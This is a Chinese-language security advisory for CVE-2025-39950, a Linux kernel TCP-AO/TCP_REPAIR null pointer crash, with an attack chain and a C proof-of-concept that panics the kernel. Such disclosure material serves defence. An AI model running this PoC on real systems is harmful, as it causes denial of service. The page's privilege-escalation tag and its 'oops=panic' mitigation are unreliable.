IPBUF安全漏洞报告
English
CVE-2025-39950 CVSS 5.5 中危

CVE-2025-39950:Linux内核TCP-AO与TCP_REPAIR空指针解引用漏洞

披露日期: 2025-10-04
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-39950
漏洞类型
空指针解引用(NULL Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel空指针解引用拒绝服务TCP-AOTCP_REPAIR本地提权内核漏洞net/ipv4/tcp_ao.cCVE-2025-39950

漏洞概述

CVE-2025-39950是Linux内核网络子系统中存在的一个空指针解引用漏洞,位于net/ipv4/tcp_ao.c文件的tcp_ao_finish_connect()函数中。该漏洞在TCP-AO(TCP Authentication Option,TCP认证选项)与TCP_REPAIR功能同时启用时触发。当用户在一个已添加TCP-AO密钥并启用了TCP_REPAIR选项的套接字上执行connect()系统调用时,tcp_ao_finish_connect()函数会被以skb(socket buffer)为NULL的参数调用,函数未对skb进行有效性校验便直接通过tcp_hdr(skb)->seq访问其内存,从而导致内核空指针解引用,引发内核崩溃(kernel panic/Oops)。该漏洞的CVSS 3.1评分为5.5分,属于中危级别,攻击向量为本地(AV:L),需要低权限(PR:L),无需用户交互(UI:N),对机密性和完整性无影响,但对系统可用性影响为高(A:H),可导致系统拒绝服务。攻击者利用该漏洞可使运行Linux内核的操作系统发生内核崩溃,造成拒绝服务攻击。

技术细节

该漏洞的根本原因在于tcp_ao_finish_connect()函数缺少对输入参数skb的空指针检查。

在TCP连接建立流程中,当套接字配置了TCP-AO密钥并启用了TCP_REPAIR模式后,connect()系统调用会调用tcp_ao_finish_connect()函数来完成连接初始化。在TCP_REPAIR模式下,该函数被调用时传入的skb参数为NULL。然而,函数实现中直接执行了tcp_hdr(skb)->seq操作,即通过NULL指针计算偏移并访问seq字段,导致空指针解引用错误。

参考同一调用流程中的bpf_skops_established()函数,该函数在解引用skb之前会先进行NULL检查,而tcp_ao_finish_connect()缺少这一保护。

漏洞利用方式:攻击者只需拥有本地用户权限,创建一个TCP套接字,通过setsockopt()添加TCP-AO密钥并启用TCP_REPAIR选项,然后对任意目标执行connect()调用,即可触发空指针解引用,导致内核Oops或panic。内核崩溃日志显示错误发生在net/ipv4/tcp_ao.c的第1182行。

攻击链分析

STEP 1
步骤1:创建TCP套接字
攻击者以本地低权限用户身份创建一个AF_INET、SOCK_STREAM类型的TCP套接字。
STEP 2
步骤2:配置TCP-AO认证密钥
通过setsockopt()系统调用,使用TCP_AO_ADD_KEY选项为套接字添加TCP-AO认证密钥(如cmac(aes128)算法)。
STEP 3
步骤3:启用TCP_REPAIR模式
通过setsockopt()系统调用,使用TCP_REPAIR选项将套接字设置为TCP修复模式。
STEP 4
步骤4:触发connect()调用
在已配置TCP-AO且启用TCP_REPAIR的套接字上执行connect()系统调用,触发tcp_ao_finish_connect()函数以NULL skb参数被调用。
STEP 5
步骤5:内核空指针解引用崩溃
tcp_ao_finish_connect()函数未检查skb是否为NULL便直接解引用,导致内核Oops/panic,系统拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* CVE-2025-39950 PoC: NULL pointer dereference in tcp_ao_finish_connect() * Trigger kernel NULL pointer dereference via TCP-AO + TCP_REPAIR * Compile: gcc tcp-ao-nullptr.c -o tcp-ao-nullptr -Wall * Run in unprivileged user namespace: unshare -Urn ./tcp-ao-nullptr */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> /* TCP-AO socket option structures */ #define TCP_AO_ADD_KEY 38 #define TCP_REPAIR 19 struct tcp_ao_add { struct sockaddr_in addr; char alg_name[64]; char key[80]; unsigned int keylen; /* Additional fields omitted for brevity */ }; int main(void) { struct sockaddr_in sockaddr; struct tcp_ao_add tcp_ao; int sk; int one = 1; memset(&sockaddr, '\0', sizeof(sockaddr)); memset(&tcp_ao, '\0', sizeof(tcp_ao)); sk = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (sk < 0) { perror("socket"); return 1; } sockaddr.sin_family = AF_INET; /* Configure TCP-AO key */ memcpy(tcp_ao.alg_name, "cmac(aes128)", 12); memcpy(tcp_ao.key, "ABCDEFGHABCDEFGH", 16); tcp_ao.keylen = 16; memcpy(&tcp_ao.addr, &sockaddr, sizeof(sockaddr)); /* Add TCP-AO key to socket */ if (setsockopt(sk, IPPROTO_TCP, TCP_AO_ADD_KEY, &tcp_ao, sizeof(tcp_ao)) < 0) { perror("setsockopt TCP_AO_ADD_KEY"); return 1; } /* Enable TCP_REPAIR mode */ if (setsockopt(sk, IPPROTO_TCP, TCP_REPAIR, &one, sizeof(one)) < 0) { perror("setsockopt TCP_REPAIR"); return 1; } /* Attempt connect() to trigger the NULL pointer dereference */ sockaddr.sin_family = AF_INET; sockaddr.sin_port = htons(123); inet_aton("127.0.0.1", &sockaddr.sin_addr); connect(sk, (struct sockaddr *)&sockaddr, sizeof(sockaddr)); return 0; }

影响范围

Linux Kernel(受影响的稳定版本需根据具体commit确定)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以通过限制非特权用户访问TCP_AO_ADD_KEY和TCP_REPAIR套接字选项来降低风险,例如通过seccomp过滤或CAP_NET_ADMIN能力限制。此外,建议在内核启动参数中添加oops=panic或配置kdump以捕获崩溃信息,便于事后分析。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表